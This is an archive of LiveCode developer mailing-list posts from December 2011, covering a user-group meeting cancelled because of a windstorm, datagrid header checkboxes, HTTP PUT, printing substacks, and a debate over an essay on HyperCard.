From bvlahos at mac.com Thu Dec 1 02:54:43 2011 From: bvlahos at mac.com (Bill Vlahos) Date: Wed, 30 Nov 2011 23:54:43 -0800 Subject: Reminder: SoCal LUG meeting: Dec 1, Pasadena In-Reply-To: <4ED6A851.1000501@fourthworld.com> References: <4ED6A851.1000501@fourthworld.com> Message-ID: We'll see you there. Bill Vlahos _________________ InfoWallet (http://www.infowallet.com) is about keeping your important life information with you, accessible, and secure. On Nov 30, 2011, at 2:04 PM, Richard Gaskin wrote: > The SoCal LiveCode User Group will be meeting in Pasadena on Thursday, Dec 1 - details in the SC LUG forum that Heather graciously set up for us in the general LiveCode forums: > > > > Attendance is open to anyone who wants to show up. The only requirement is an interest in bantering about LiveCode for a couple hours. > > -- > Richard Gaskin > Fourth World > LiveCode training and consulting: http://www.fourthworld.com > Webzine for LiveCode developers: http://www.LiveCodeJournal.com > LiveCode Journal blog: http://LiveCodejournal.com/blog.irv > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From tsj at unimelb.edu.au Thu Dec 1 06:37:46 2011 From: tsj at unimelb.edu.au (Terry Judd) Date: Thu, 1 Dec 2011 11:37:46 +0000 Subject: HTTP PUT? Message-ID: <8E893C85-0E8A-44FE-8DD0-680C141580F1@unimelb.edu.au> I've got GET and POST covered, but how do I go about constructing and sending a HTTP PUT request from Livecode (I need to communicate with a RESTful service)? Any pointers welcome. Cheers, Terry... Dr Terry Judd Senior Lecturer in Medical Education Medical Eduction Unit Faculty of Medicine, Dentistry & Health Sciences The University of Melbourne From admin at mfelkerco.com Thu Dec 1 09:29:28 2011 From: admin at mfelkerco.com (Admin) Date: Thu, 01 Dec 2011 08:29:28 -0600 Subject: Would you say Live Code competes with =?UTF-8?Q?this=3F?= Message-ID: <9e58098b7cbe6f0980b8f2b01ef0d23a@mfelkerco.com> I recently thought about buying the Dark Basic AGK product because I do own their Dark Basic Pro line of products. However, to me, Live Code with the animation engine is nearly identical - what do you think? Here is the link: http://www.appgamekit.com/about-agk.php [1] It has 2D only game/app creation in a variety of platforms, one of which is not supported by Live Code that I know of. It has a good particle engine, can play and mix sound, but not record it. It cannot play video yet (except on Mac/PC) on mobile devices. It has a robust 2D game engine - will eventually be 3D - and a level editor/menu editor. It has box physics. Uses either Basic or c++ - fast either way from what it says. Does Live Code, with the Animation Engine, compete with this product (so I do not buy something that duplicates what I already own)? I can deploy to Mac/PC/IOS/Android/Web currently. I do have the latest version with the Animation Engine and MobGUI. Links: ------ [1] http://www.appgamekit.com/about-agk.php From wow at together.net Thu Dec 1 09:38:05 2011 From: wow at together.net (Richard Miller) Date: Thu, 01 Dec 2011 09:38:05 -0500 Subject: Access iphone files from Windows via LiveCode In-Reply-To: <9e58098b7cbe6f0980b8f2b01ef0d23a@mfelkerco.com> References: <9e58098b7cbe6f0980b8f2b01ef0d23a@mfelkerco.com> Message-ID: <4ED7914D.3040005@together.net> I need to import video files into a desktop LiveCode app from an iphone under Windows 7 when the iphone is plugged into the desktop via usb. I only want to access videos created on the iphone through its camera. I don't see the iphone show up as a standard volume, but I suspect there is a way for LiveCode to access those videos. Any help is appreciated. Thanks. Richard Miller From ambassador at fourthworld.com Thu Dec 1 10:30:59 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Thu, 01 Dec 2011 07:30:59 -0800 Subject: SoCal LUG meeting: Wind advisory In-Reply-To: <4ED6A851.1000501@fourthworld.com> References: <4ED6A851.1000501@fourthworld.com> Message-ID: <4ED79DB3.2010706@fourthworld.com> Yesterday I wrote: > The SoCal LiveCode User Group will be meeting in Pasadena on Thursday, > Dec 1 - details in the SC LUG forum that Heather graciously set up for > us in the general LiveCode forums: > > The meeting is definitely happening and I'm looking forward to it. But for me it's a short walk, and if you live close enough to attend the meeting you know what we experienced here in Los Angeles last night: nothing short of Windocalypse. An unusual weather pattern unlike anything I've seen in my life as a native Californian brought us winds that were literally like a dry hurricane. On the Saffir?Simpson Hurricane Scale it was the equivalent of a Category 2: The noise throughout the night was like nothing I've ever heard, and the house shook like a 3.5 earthquake that lasted till morning. Driving to the office this morning was an adventure in route-finding, with so many trees down they completely blocked many roads. Currently a quarter-million people in LA County are without power, with so many trees having fallen on power lines. This morning we have a break in the wind storm, and most roads should be cleared of debris later today. So for the meeting I just wanted to remind those looking forward to attending that we're going to do this every month on the first Thursday. The winds are expected to kick up again later today, and if it's not safe to drive don't feel like this is the only chance you'll get for this meeting - put safety first, and feel free to skip this one and come in January if it seems the safer thing to do. If you can make it'll be great to see you, but I'd hate to have you unable to attend because your car got treed on the way to the meeting. Drive carefully, and if you can make it safely I'm looking forward to seeing you, and if not I'll look forward to seeing you at the next meeting on January 5. For those of you who don't live on SoCal, here's what we have: More: -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From cszasz at mac.com Thu Dec 1 10:50:01 2011 From: cszasz at mac.com (Charles Szasz) Date: Thu, 01 Dec 2011 10:50:01 -0500 Subject: Print only substack Message-ID: <94591ECF-8B4F-4864-A80F-931D9EDFA7ED@mac.com> Peter, Thanks for you suggestion! Your suggestion is better than mine, which is longer: open stack "print" set the invisible of stack "print" to true print stack "print" Thanks! Charles Szasz cszasz at mac.com From pmbrig at gmail.com Thu Dec 1 11:06:51 2011 From: pmbrig at gmail.com (Peter M. Brigham, MD) Date: Thu, 1 Dec 2011 11:06:51 -0500 Subject: Print only substack In-Reply-To: <94591ECF-8B4F-4864-A80F-931D9EDFA7ED@mac.com> References: <94591ECF-8B4F-4864-A80F-931D9EDFA7ED@mac.com> Message-ID: <2E840536-58D1-42DA-88C3-3F19E204346A@gmail.com> The other way of doing this is to keep the visible = true but set the location of the stack to somewhere off-screen before opening it: set the loc of stack "printStack" to -1000,-1000 go stack "printStack" print card into 54,28,558,756 -- or whatever -- Peter Peter M. Brigham pmbrig at gmail.com http://home.comcast.net/~pmbrig On Dec 1, 2011, at 10:50 AM, Charles Szasz wrote: > Peter, > > Thanks for you suggestion! Your suggestion is better than mine, which is longer: > > open stack "print" > set the invisible of stack "print" to true > print stack "print" From martyknapp at comcast.net Thu Dec 1 12:55:59 2011 From: martyknapp at comcast.net (Marty Knapp) Date: Thu, 01 Dec 2011 09:55:59 -0800 Subject: Custom Property Data Limit? Message-ID: <4ED7BFAF.8040208@comcast.net> I'm storing a tab-delimited text list in a custom property, with each item maybe up to 25 characters or so in length and around 12 items per line. Over time, this could grow to several hundred thousand lines. The data is displayed in a datagrid. It's working just fine for me at this point, but is there a limit to how much data you can put into a custom property? Is there a point at which there will be a performance hit when displaying in a datagrid? I'm just wondering if I need to start learning about sql for my data storage for the long haul. Thanks for any input you may have. Marty Knapp From gbojsza at gmail.com Thu Dec 1 13:06:43 2011 From: gbojsza at gmail.com (Glen Bojsza) Date: Thu, 1 Dec 2011 11:06:43 -0700 Subject: Using a check box in a datagrid column header Message-ID: I was wondering if it is possible to use a check box as a column header for a datagrid. This is where the user can select or deselect all lines in the datagrid instead of having to do it on the individual basis. thanks, From todd at geistinteractive.com Thu Dec 1 13:08:10 2011 From: todd at geistinteractive.com (Todd Geist) Date: Thu, 1 Dec 2011 10:08:10 -0800 Subject: SoCal LUG meeting: Wind advisory In-Reply-To: <4ED79DB3.2010706@fourthworld.com> References: <4ED6A851.1000501@fourthworld.com> <4ED79DB3.2010706@fourthworld.com> Message-ID: Wow, we had no wind at all. I am maybe 50 miles from Pasedena Todd On Thu, Dec 1, 2011 at 7:30 AM, Richard Gaskin wrote: > Yesterday I wrote: > > The SoCal LiveCode User Group will be meeting in Pasadena on Thursday, >> Dec 1 - details in the SC LUG forum that Heather graciously set up for >> us in the general LiveCode forums: >> >> >> > >> > > The meeting is definitely happening and I'm looking forward to it. > > But for me it's a short walk, and if you live close enough to attend the > meeting you know what we experienced here in Los Angeles last night: > nothing short of Windocalypse. > > An unusual weather pattern unlike anything I've seen in my life as a > native Californian brought us winds that were literally like a dry > hurricane. On the Saffir?Simpson Hurricane Scale it was the equivalent of a > Category 2: > > > > > The noise throughout the night was like nothing I've ever heard, and the > house shook like a 3.5 earthquake that lasted till morning. > > Driving to the office this morning was an adventure in route-finding, with > so many trees down they completely blocked many roads. Currently a > quarter-million people in LA County are without power, with so many trees > having fallen on power lines. > > This morning we have a break in the wind storm, and most roads should be > cleared of debris later today. > > So for the meeting I just wanted to remind those looking forward to > attending that we're going to do this every month on the first Thursday. > > The winds are expected to kick up again later today, and if it's not safe > to drive don't feel like this is the only chance you'll get for this > meeting - put safety first, and feel free to skip this one and come in > January if it seems the safer thing to do. > > If you can make it'll be great to see you, but I'd hate to have you unable > to attend because your car got treed on the way to the meeting. > > Drive carefully, and if you can make it safely I'm looking forward to > seeing you, and if not I'll look forward to seeing you at the next meeting > on January 5. > > > For those of you who don't live on SoCal, here's what we have: > fell-trees-block-roads-power-**outages-damage.html > > > > More: > > > > > -- > Richard Gaskin > Fourth World > LiveCode training and consulting: http://www.fourthworld.com > Webzine for LiveCode developers: http://www.LiveCodeJournal.com > LiveCode Journal blog: http://LiveCodejournal.com/**blog.irv > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > -- Todd Geist (805) 419-9382 From pete at mollysrevenge.com Thu Dec 1 13:23:44 2011 From: pete at mollysrevenge.com (Pete) Date: Thu, 1 Dec 2011 10:23:44 -0800 Subject: Custom Property Data Limit? In-Reply-To: <4ED7BFAF.8040208@comcast.net> References: <4ED7BFAF.8040208@comcast.net> Message-ID: Hi Marty, You'll probably get lots of opinions both ways but with several hundred thousand lines of data, I'd go with an SQL database. If nothing else, your data will be available for analysis by other applications, if that matters. Pete On Thu, Dec 1, 2011 at 9:55 AM, Marty Knapp wrote: > I'm storing a tab-delimited text list in a custom property, with each item > maybe up to 25 characters or so in length and around 12 items per line. > Over time, this could grow to several hundred thousand lines. The data is > displayed in a datagrid. It's working just fine for me at this point, but > is there a limit to how much data you can put into a custom property? Is > there a point at which there will be a performance hit when displaying in a > datagrid? I'm just wondering if I need to start learning about sql for my > data storage for the long haul. > > Thanks for any input you may have. > > Marty Knapp > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From richmondmathewson at gmail.com Thu Dec 1 14:36:58 2011 From: richmondmathewson at gmail.com (Richmond) Date: Thu, 01 Dec 2011 21:36:58 +0200 Subject: [OT}] Hypercard and an uneasy read. Message-ID: <4ED7D75A.20505@gmail.com> http://www.loper-os.org/?p=568 From ambassador at fourthworld.com Thu Dec 1 14:39:35 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Thu, 01 Dec 2011 11:39:35 -0800 Subject: IMPORTANT: SoCal Meeting CANCELLED Message-ID: <4ED7D7F7.8030503@fourthworld.com> The City of Pasadena has declared a state of emergency in light of the ongoing wind storm (see earlier post), so after discussing this with Bill Vlahos we agree it's just not safe to encourage people to enter the area most affected by this event. So the meeting originally scheduled for tonight is CANCELLED, for your safety. Instead we look forward to seeing you at the next SoCal LUG meeting on January 5. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From jiml at netrin.com Thu Dec 1 15:00:10 2011 From: jiml at netrin.com (Jim Lambert) Date: Thu, 1 Dec 2011 12:00:10 -0800 Subject: ANN: ExtFreeDiskSpace 1.0 In-Reply-To: References: Message-ID: <7F83E1E0-83DC-47E7-A2CC-EC5E9E1E7478@netrin.com> Mark, Thank you for this useful external. Jim Lambert From coiin at verizon.net Thu Dec 1 15:07:04 2011 From: coiin at verizon.net (Colin Holgate) Date: Thu, 01 Dec 2011 15:07:04 -0500 Subject: IMPORTANT: SoCal Meeting CANCELLED In-Reply-To: <4ED7D7F7.8030503@fourthworld.com> References: <4ED7D7F7.8030503@fourthworld.com> Message-ID: <9AF4F0F5-0544-41EA-B3EA-2F42062045F3@verizon.net> http://latimesblogs.latimes.com/lanow/2011/12/high-winds-la-pasadena-epicenter.html From todd at geistinteractive.com Thu Dec 1 15:23:07 2011 From: todd at geistinteractive.com (Todd Geist) Date: Thu, 1 Dec 2011 12:23:07 -0800 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: <4ED7D75A.20505@gmail.com> References: <4ED7D75A.20505@gmail.com> Message-ID: Excellent read. And entirely plausible. I think his assertion that the various HyperCard clones that are too complex and contain too many mystery knobs is pretty accurate. My first programs were written in HyperCard. It was easy to figure out. I have spent decades now writing software or database programs using PHP groovy FileMaker and MySQL. And I'd have to say that after several years of trying RunRev / LiveCode on and off again I am only now beginning to break through. LiveCode has an awful lot of Mystery Knobs. Todd On Thu, Dec 1, 2011 at 11:36 AM, Richmond wrote: > http://www.loper-os.org/?p=568 > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > -- Todd Geist (805) 419-9382 From mfstuart at cox.net Thu Dec 1 16:12:48 2011 From: mfstuart at cox.net (Mark Stuart) Date: Thu, 1 Dec 2011 13:12:48 -0800 (PST) Subject: Using a check box in a datagrid column header In-Reply-To: References: Message-ID: <1322773968341-4130600.post@n4.nabble.com> Glen wrote: >> I was wondering if it is possible to use a check box as a column header for a datagrid. This is where the user can select or deselect all lines in the datagrid instead of having to do it on the individual basis. thanks, << Glen, try this DG lesson and see if that helps what you are trying to do. http://lessons.runrev.com/s/lessons/m/datagrid/l/8411-How-Do-I-Display-a-Contextual-Menu-When-the-User-Clicks-on-a-Column-Header- The lesson title is: How Do I Display a Contextual Menu When the User Clicks on a Column Header? It's not what you are looking for, but may be an alternative. Regards, Mark Stuart -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Using-a-check-box-in-a-datagrid-column-header-tp4129735p4130600.html Sent from the Revolution - User mailing list archive at Nabble.com. From simplsol at aol.com Thu Dec 1 16:24:18 2011 From: simplsol at aol.com (Paul Looney) Date: Thu, 1 Dec 2011 13:24:18 -0800 Subject: SoCal LUG meeting: Wind advisory In-Reply-To: <4ED79DB3.2010706@fourthworld.com> References: <4ED6A851.1000501@fourthworld.com> <4ED79DB3.2010706@fourthworld.com> Message-ID: <81DA7FF9-55E2-4BB6-8613-A80497C45379@aol.com> Richard, I live about 30 miles east of Pasadena. Sometime last night the city of San Dimas decided to run a wind-chime test. Every wind-chime in the city went off at once - and continued ringing for hours. This morning that sound was replace by sirens and chain saws. We have a heavy, industrial-style gate at the back entrance to the property. The wind blew it off the track and broke some of the welds. The wind also thinned the trees, swept the lawn and did other miscellaneous mischief. The winds here were estimated at approximately 75 mph (121 kph). Tonight promises more fun. Paul Looney On Dec 1, 2011, at 7:30 AM, Richard Gaskin wrote: > An unusual weather pattern unlike anything I've seen in my life as a native Californian brought us winds that were literally like a dry hurricane. On the Saffir?Simpson Hurricane Scale it was the equivalent of a Category 2: From mike at doub.com Thu Dec 1 16:26:19 2011 From: mike at doub.com (mike at doub.com) Date: Thu, 1 Dec 2011 21:26:19 +0000 Subject: Custom Property Data Limit? In-Reply-To: References: <4ED7BFAF.8040208@comcast.net> Message-ID: <1316407331-1322774781-cardhu_decombobulator_blackberry.rim.net-1600297813-@b27.c31.bise6.blackberry> I found that when going to the database approach and directly feeding the database you are limited to a fixed row height datagrid. -= Mike Sent from my BlackBerry device on the Rogers Wireless Network -----Original Message----- From: Pete Sender: use-livecode-bounces at lists.runrev.com Date: Thu, 1 Dec 2011 10:23:44 To: How to use LiveCode Reply-To: How to use LiveCode Subject: Re: Custom Property Data Limit? Hi Marty, You'll probably get lots of opinions both ways but with several hundred thousand lines of data, I'd go with an SQL database. If nothing else, your data will be available for analysis by other applications, if that matters. Pete On Thu, Dec 1, 2011 at 9:55 AM, Marty Knapp wrote: > I'm storing a tab-delimited text list in a custom property, with each item > maybe up to 25 characters or so in length and around 12 items per line. > Over time, this could grow to several hundred thousand lines. The data is > displayed in a datagrid. It's working just fine for me at this point, but > is there a limit to how much data you can put into a custom property? Is > there a point at which there will be a performance hit when displaying in a > datagrid? I'm just wondering if I need to start learning about sql for my > data storage for the long haul. > > Thanks for any input you may have. > > Marty Knapp > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > > -- Pete Molly's Revenge _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From tsj at unimelb.edu.au Thu Dec 1 17:16:54 2011 From: tsj at unimelb.edu.au (Terry Judd) Date: Thu, 1 Dec 2011 22:16:54 +0000 Subject: HTTP PUT? In-Reply-To: <8E893C85-0E8A-44FE-8DD0-680C141580F1@unimelb.edu.au> References: <8E893C85-0E8A-44FE-8DD0-680C141580F1@unimelb.edu.au> Message-ID: <8C9BCEE8-4E20-401D-B873-3FF3EA3A9219@unimelb.edu.au> I should have read the dictionary more closely. Looks like Livecode's put command does work with HTTP so long the server supports it. Terry... On 01/12/2011, at 10:37 PM, Terry Judd wrote: I've got GET and POST covered, but how do I go about constructing and sending a HTTP PUT request from Livecode (I need to communicate with a RESTful service)? Any pointers welcome. From bobs at twft.com Thu Dec 1 17:18:18 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 1 Dec 2011 14:18:18 -0800 Subject: Using a check box in a datagrid column header In-Reply-To: <1322773968341-4130600.post@n4.nabble.com> References: <1322773968341-4130600.post@n4.nabble.com> Message-ID: <55E29CE1-1166-4741-8C83-F6BE8641EF0C@twft.com> Also consider using something like an option click in any of the checkboxes in the datagrid column to toggle all on or all off. Bob On Dec 1, 2011, at 1:12 PM, Mark Stuart wrote: > Glen wrote: >>> > I was wondering if it is possible to use a check box as a column header > for a datagrid. > > This is where the user can select or deselect all lines in the datagrid > instead of having to do it on the individual basis. > > thanks, > << > > Glen, try this DG lesson and see if that helps what you are trying to do. > http://lessons.runrev.com/s/lessons/m/datagrid/l/8411-How-Do-I-Display-a-Contextual-Menu-When-the-User-Clicks-on-a-Column-Header- > > The lesson title is: How Do I Display a Contextual Menu When the User Clicks > on a Column Header? > It's not what you are looking for, but may be an alternative. > > Regards, > Mark Stuart > > -- > View this message in context: http://runtime-revolution.278305.n4.nabble.com/Using-a-check-box-in-a-datagrid-column-header-tp4129735p4130600.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From gbojsza at gmail.com Thu Dec 1 17:32:26 2011 From: gbojsza at gmail.com (Glen Bojsza) Date: Thu, 1 Dec 2011 15:32:26 -0700 Subject: Using a check box in a datagrid column header In-Reply-To: <55E29CE1-1166-4741-8C83-F6BE8641EF0C@twft.com> References: <1322773968341-4130600.post@n4.nabble.com> <55E29CE1-1166-4741-8C83-F6BE8641EF0C@twft.com> Message-ID: I think a variation on the lesson will provide a solution close to what I am looking for. thanks. On Thu, Dec 1, 2011 at 3:18 PM, Bob Sneidar wrote: > Also consider using something like an option click in any of the > checkboxes in the datagrid column to toggle all on or all off. > > Bob > > > On Dec 1, 2011, at 1:12 PM, Mark Stuart wrote: > > > Glen wrote: > >>> > > I was wondering if it is possible to use a check box as a column header > > for a datagrid. > > > > This is where the user can select or deselect all lines in the datagrid > > instead of having to do it on the individual basis. > > > > thanks, > > << > > > > Glen, try this DG lesson and see if that helps what you are trying to do. > > > http://lessons.runrev.com/s/lessons/m/datagrid/l/8411-How-Do-I-Display-a-Contextual-Menu-When-the-User-Clicks-on-a-Column-Header- > > > > The lesson title is: How Do I Display a Contextual Menu When the User > Clicks > > on a Column Header? > > It's not what you are looking for, but may be an alternative. > > > > Regards, > > Mark Stuart > > > > -- > > View this message in context: > http://runtime-revolution.278305.n4.nabble.com/Using-a-check-box-in-a-datagrid-column-header-tp4129735p4130600.html > > Sent from the Revolution - User mailing list archive at Nabble.com. > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From bobs at twft.com Thu Dec 1 17:54:35 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 1 Dec 2011 14:54:35 -0800 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: <4ED7D75A.20505@gmail.com> References: <4ED7D75A.20505@gmail.com> Message-ID: <4C2933A1-2B11-4F54-A729-3F1AA45BB4E3@twft.com> First, the link to BaseliskII port for Mac OS X does not work. Didn't work before, don't work now. Now about the article. I think I disagree with him on a number of things, but what comes to my mind is the notion that the computer can be a "mind amplifier" or a "train" as opposed to a "bicycle". I don't see a computer as any of those things, because it implies that a computer can do "work", which in the classical sense is moving mass. In my view, a computer is a power tool for managing information, but information can only help you plan how to do work, or schedule a time to do the work, or tell you how much money is owed after you do work. It cannot actually DO work at all. The allegories above give the impression that it helps someone GO somewhere. It seems like I am splitting hairs, but I think it's an important distinction. America has given up a great deal of real production to other countries, in exchange of being in the information business. The dot com collapse should be enough to convince us of where that leads. Also, Steve Jobs did not "kill" anything. He discontinued it. He didn't kill the community either, because the community kept going for YEARS after you could not get it anymore. I don't think a one of them died when Steve discontinued support for Hypercard. When someone uses words like that I really start to look much more critically at what he is saying. To quote Shakespeare, "He protesteth much." People often use strong words when they have a weak argument. What made Hypercard obsolete was time and the lack of certain things that became essential to modern apps or dev environments, like say real color support or database access, not to mention a robust graphics engine like Livecode has. I remember, I had to stop using it to develop apps for work because once they got too big they would begin to eat themselves alive, and I ended up fighting a battle to purge the corruption before the stack became unusable. THAT and things like it is what really "killed" Hypercard. Also, in response to his statement, "Otherwise, sit down and contemplate the fact that what has been built once could probably be built again," Hypercard WAS done again. (And by the by, if it's a "fact" then "probability" plays no part.) It was called Supercard, Metacard, and now Livecode. How odd that the author didn't mention any of those alternatives. (And by the by, if it's a "fact" then "probability" plays no part.) Finally what really tips the scale for me is his final line, "...and please don?t waste your time commenting here. Sink back into the cube farm hellpit from whence you came." Really? Hey, way to win friends and influence people! So if I disagree with him, I came from a cube farm hellpit (whatever the hell that means)? I've read enough. This guy is so full of himself (and excrement comes to mind as well) that I completely discount everything else he has to say. Prima donnas will blather on. The only thing uneasy about this read is considering the time I wasted doing it. Bob On Dec 1, 2011, at 11:36 AM, Richmond wrote: > http://www.loper-os.org/?p=568 > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at mollysrevenge.com Thu Dec 1 18:04:38 2011 From: pete at mollysrevenge.com (Pete) Date: Thu, 1 Dec 2011 15:04:38 -0800 Subject: Using a check box in a datagrid column header In-Reply-To: References: <1322773968341-4130600.post@n4.nabble.com> <55E29CE1-1166-4741-8C83-F6BE8641EF0C@twft.com> Message-ID: I needed to do this and just put a checkbox immediately above the datagrid, right above the column header for the checkbox column. On Thu, Dec 1, 2011 at 2:32 PM, Glen Bojsza wrote: > I think a variation on the lesson will provide a solution close to what I > am looking for. > > thanks. > > On Thu, Dec 1, 2011 at 3:18 PM, Bob Sneidar wrote: > > > Also consider using something like an option click in any of the > > checkboxes in the datagrid column to toggle all on or all off. > > > > Bob > > > > > > On Dec 1, 2011, at 1:12 PM, Mark Stuart wrote: > > > > > Glen wrote: > > >>> > > > I was wondering if it is possible to use a check box as a column > header > > > for a datagrid. > > > > > > This is where the user can select or deselect all lines in the datagrid > > > instead of having to do it on the individual basis. > > > > > > thanks, > > > << > > > > > > Glen, try this DG lesson and see if that helps what you are trying to > do. > > > > > > http://lessons.runrev.com/s/lessons/m/datagrid/l/8411-How-Do-I-Display-a-Contextual-Menu-When-the-User-Clicks-on-a-Column-Header- > > > > > > The lesson title is: How Do I Display a Contextual Menu When the User > > Clicks > > > on a Column Header? > > > It's not what you are looking for, but may be an alternative. > > > > > > Regards, > > > Mark Stuart > > > > > > -- > > > View this message in context: > > > http://runtime-revolution.278305.n4.nabble.com/Using-a-check-box-in-a-datagrid-column-header-tp4129735p4130600.html > > > Sent from the Revolution - User mailing list archive at Nabble.com. > > > > > > _______________________________________________ > > > use-livecode mailing list > > > use-livecode at lists.runrev.com > > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From zryip.theslug at gmail.com Thu Dec 1 18:16:29 2011 From: zryip.theslug at gmail.com (zryip theSlug) Date: Fri, 2 Dec 2011 00:16:29 +0100 Subject: Using a check box in a datagrid column header In-Reply-To: References: Message-ID: On Thu, Dec 1, 2011 at 7:06 PM, Glen Bojsza wrote: > I was wondering if it is possible to use a check box ?as a column header > for a datagrid. > > This is where the user can select or deselect all lines in the datagrid > instead of having to do it on the individual basis. Theoretically the datagrid library contains code for managing an header template group. Unfortunately, this part seems unfinished and some code missing for having something basically functional. The question was asked in the developer list, so in case it could be useful for someone in the list, here is the replied I sent month ago: 1) In the row template group, you have to add a group named with the column name + space + "[Header]". For example to have a customized header for a column "First col", you must create a group named "First Col [Header]" in the row template group. This special header group must contain: - a field (for the header label) - the "sort arrow" button - left and right dividers 2) Change the _table.CreateHeaders script in the datagrid library. Here, I can't substitute myself to our talented friend Trevor, I can just try to propose a quick solution. To have something working decently, two parts missing in the _table.CreateHeaders handler for custom header template: - the reference to the template group - the behavior for the custom column header. Here is the handler I modified. It seems doing the job for me. private command _table.CreateHeaders put _ResourceStack() into theResourceStack put the dgProps["row template"] of me into theTemplateGroup -- line added -- put _CardOf() into theDGCard put the dgProps["columns"] of me into theColumns put the long ID of group "dgHeaderMask" of group "dgHeaderComponents" of me into theHeaderGroup put the rect of theHeaderGroup into theHeaderRect put item 2 of theHeaderRect + the height of theHeaderGroup into item 4 of theHeaderRect ## Clear out existing headers that don't exist set the wholeMatches to true repeat for each key theColumn in sTableObjectsA["columns"] if theColumn is not among the lines of theColumns and sTableObjectsA["columns"][theColumn]["header"]["group"] is not empty then put sTableObjectsA["columns"][theColumn]["header"]["group"] into theControl delete theControl delete local sTableObjectsA["columns"][theColumn]["header"] end if end repeat ## Create header groups put the dgProps["column properties"] of me into theColsA put the dgProps["sort by column"] of me into sortByThisColumn -- Line added repeat for each line theColumn in theColumns ## Column if sTableObjectsA["columns"][theColumn]["header"]["group"] is empty then if not sTableObjectsA["columns"][theColumn]["header"]["uses custom template"] then _table.CreateDefaultHeaderGroup theColumn, theHeaderRect put the result into theGroup else ## Use custom template provided by user... copy control (theColumn && "[Header]") of theTemplateGroup to group "dgHeader" of me put it into theGroup set the name of theGroup to theColumn set the lockloc of theGroup to true put "control id" && word 3 of theGroup && "of me" into sTableObjectsA["columns"][theColumn]["header"]["group"] put item 1 to 2 of theHeaderRect, item 1 of theHeaderRect + 10, item 4 of theHeaderRect into theRect set the rect of theGroup to theRect end if -- Lines moved if the dgProps["default header behavior"] of me is empty then set the behavior of theGroup to the long ID of button "Default Header" of theResourceStack else set the behavior of theGroup to the dgProps["default header behavior"] of me end if -- end of lines moved unlock messages if theColsA[theColumn]["label"] is not empty then set the dgLabel [theColsA[theColumn]["encoding"]] of theGroup to theColsA[theColumn]["label"] else set the dgLabel of theGroup to theColumn end if set the dgTooltip of theGroup to theColsA[theColumn]["tooltip"] set the dgHilite of theGroup to theColumn is sortByThisColumn set the dgAlignment of theGroup to theColsA[theColumn]["header"]["alignment"] lock messages end if end repeat end _table.CreateHeaders 3) Add a default header behavior 4) Change the mouseUp handler script in the default header behavior, for managing the header checkbox. Better to do the change in a copy of your library for usage in a final application. Having possibility to define header templates could be a cool datagrid feature. Trevor, if maybe you are reading this, please consider the message as a request for a possible datagrid update. 8-) Best regards, -- -Zryip TheSlug- wish you the best! 8) http://www.aslugontheroad.co.cc From bobs at twft.com Thu Dec 1 18:37:43 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 1 Dec 2011 15:37:43 -0800 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: References: <4ED7D75A.20505@gmail.com> Message-ID: <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> Hi Todd. Let me propose that a solution cannot be simpler than the problem it is meant to solve. People who think so are usually only imagining how simple the solution can be. When they actually get in and try to solve it, they find a world of complexity that was hiding behind their imaginations. Every serious developer finds this to be true eventually. That was my problem when I first started using Livecode. Coming from Hypercard, I thought, "Oh I know how to do that!" But I had to relearn a lot, and some things I had to learn from scratch, and I am still learning every day! Livecode is to me like a constructor set of pieces of things you can put together to make something, rather than a toolchest full of tools to make something. You can see the advantages and disadvantages of each approach. 